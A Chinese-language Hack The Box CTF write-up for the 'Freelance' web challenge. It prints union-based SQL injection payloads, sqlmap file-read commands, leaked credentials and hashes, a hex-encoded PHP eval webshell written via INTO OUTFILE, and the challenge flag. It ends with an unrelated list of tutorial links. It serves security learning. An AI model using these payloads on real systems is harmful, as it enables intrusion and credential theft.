hack the box系列之Freelance
本文作者:Twe1ve(贝塔安全实验室-核心成员)
邀请码获取及配置链接:
https://blog.csdn.net/Oavinci/article/details/90803233
发现如下页面,尝试xss等均无效
加个index.php,页面正常,index.php?id=1正常,测试没发现有注入
没什么突破点,跑一下目录,dirsearch有点慢,跑了十分钟暂时没什么有用的结果,上DirBuster看一下
跑了一会儿,发现portfolio.php页面,还是添加id=1,下边多了一行字,id=2,下边的字有所改变
简单测试 :
id=1 and 1=0 页面异常
id=1 and 1=1 回显id=1的页面
嗯,int型注入,且简单判断为3个字段,手工注入一下(好久没手工,练习一下)
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,database(),3
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
portfolio,safeadmin
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='safeadmin'
id,username,password,created_at
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,username,3 from safeadmin
safeadm
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,password,3 from safeadmin
$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1,database(),3
freelancer
http://docker.hackthebox.eu:30144/portfolio.php?id=-2 union select 1, (SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3
---, 'root'@'localhost' YES,'db_user'@'%' -> NO
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3
root -> Y·,db_user -> Y
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3
root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C - 3
说明当前数据库用户名为freelance,没有root权限,但是有读写操作权限
这里的密码解不开,emmmm,虽然有读写权限,但是没有绝对路径,有点难顶
前面手工猜路径的时候通过报错信息得知是apache,apache猜一下路径写shell,默认路径为/var/www/html/,但是没写成功(结合后边来看估计是对当前目录没权限)
既然是root权限,试试看读取一下index.php和当前的portfolio.php
python sqlmap.py -u "http://docker.hackthebox.eu:30336/portfolio.php?id=2" --file-read=/var/www/html/portfolio.php
index.php没什么实质性内容,可能是目录猜错了,菜的想哭~
没想到portfolio.php来了个惊喜~目录猜对了~
<?php
// Include config file
require_once "administrat/include/config.php";
?>
哟呵,config.php,同样是sqlmap读取config.php内容
<?php
$link = new mysqli("localhost", "db_user", "Str0ngP4ss", "freelancer");
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
有点可惜,这里的密码前面已经直接读取到了,所以没什么大的用处。试试能不能sqlmap直连写shell,全球ping得到真实ip之后
python sqlmap.py -d "mysql://freelancer:Str0ngP4ss@139.59.202.58:3306/safeadmin"
结果失败~,猜测是不是端口更改的原因,nmap一扫,发现mysql服务没有开启(或者没有对外开放)
但是我们还有前面爆破的路径,访问一下
administrat/include/config.php -----没有内容,权限不够
administrat/include -------还是没用内容
administrat/ ----------有了!一个登录界面!!!
竟然给了这么奇葩的后台路径,怪不得爆破不到!!!
尝试直接写shell:
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,0x3c3f706870206576616c28245f504f53545b27636d64275d293b203f3e,3 into outfile '/var/www/html/administrat/tw.php'
但,没能成功上传:
python sqlmap.py -u http://docker.hackthebox.eu:30796/portfolio.php?id=1 --file-write "C:UsersAdministratorDesktopc99.php" --file-dest "var/www/html/administrat/tw.php" -v 1
直接sqlmap传shell也失败
分析一波原因:
[1]magic_quotes_gpc()=on , 因为其他两个基本条件[1.1]有文件读写权限、[1.2]绝对路径已知都满足了
[2]马儿传上去被杀-------结果发现不是马儿的问题,根本不能写入任何东西~
所以在尝试写shell的时候不要着急,先验证一下是否能够成功写入
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,tw-penetst,3 into outfile '/var/www/html/administrat/tw.txt' --
还是不能访问。通过file-read也读取不到
emmmm,走到这一步,我严重怀疑freelancer时候又读写权限,再次验证
http://docker.hackthebox.eu:30883/portfolio.php?id=1 and (select count(*) from mysql.user) > 0 ----页面正常,说明有可读权限
http://docker.hackthebox.eu:30883/portfolio.php?id=1 and (select count(file_priv) from mysql.user) >0 --页面正常,说明有load_file和into outfile权限
可,,,,,,,,,,,,,为什么就是写不了shell,菜哭了~
暂时放下,回到后台这边来,正准备大展身手的时候,发现,发现,发现。。。。。。。。
密码解不开啊啊啊啊啊啊啊啊啊啊啊啊啊啊
跟进一下administrat/
在panel.php中发现flag:HTB{s4ff_3_1_w33b_fr4__l33nc_3}
遇到的一些问题:
http://docker.hackthebox.eu:30796/portfolio.php?id=-2 union select 1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3
,'root'@'localhost' -> YES
,'db_user'@'%' -> NO
http://docker.hackthebox.eu:30796/portfolio.php?id=-2 union select 1,database(),3
freelancer
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,file_priv,0x3c62723e)+FROM+mysql.user),3
root -> Y
,db_user -> Y
sqlmap --is-dba --->true
python sqlmap.py -u http://docker.hackthebox.eu:30883/portfolio.php?id=1 --users
[*] 'db_user'@'%'
[*] 'root'@'localhost'
直接读取user,password:
http://docker.hackthebox.eu:30883/portfolio.php?id=-1 union select 1,(SELECT+GROUP_CONCAT(user,0x202d3e20,password)+FROM+mysql.user),3
root -> ,db_user -> *333B6293F0FD8FF1F9D218E941B68C2525425C4C
问题[1]:当前数据库是user_db还是freelancer:db_user'@'% --->代表引用当前数据库用户,即freelancer
问题[2]:是否freelancer具有root权限 -->否,说明当前数据库存在两个用户,root用户和freelancer,root用户有root权限,freelancer则没有root权限,但对文件有读写的权限~
问题[[3]:直接读取的user有两个,root、freelancer。password属于哪一个 ?---user_db,也就是freelancer
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- POJ 3616 Milking Time
- C++面向对象编程类对象的定义
- Codeforce 1102 C. Doors Breaking and Repairing
- CodeForces - 1102B Array K-Coloring
- background-size之详解
- a伪类
- CodeForces - 1102A(思维题)
- C++使用指针,动态数组,指针做参数需要注意的问题等总结
- POJ 1170 Shopping Offers非状态压缩做法
- HDU 4283 You Are the One
- C++cin,cout以及常见函数总结,cin,cout格式化控制
- 最简单,最明了,看了就会的VScode和C++的配置!(Visual Studio Code)
- C++字符串输入输出以及复合类型浅谈
- Codeforce 1155D Beautiful Array(DP)
- C++类型转换几种情况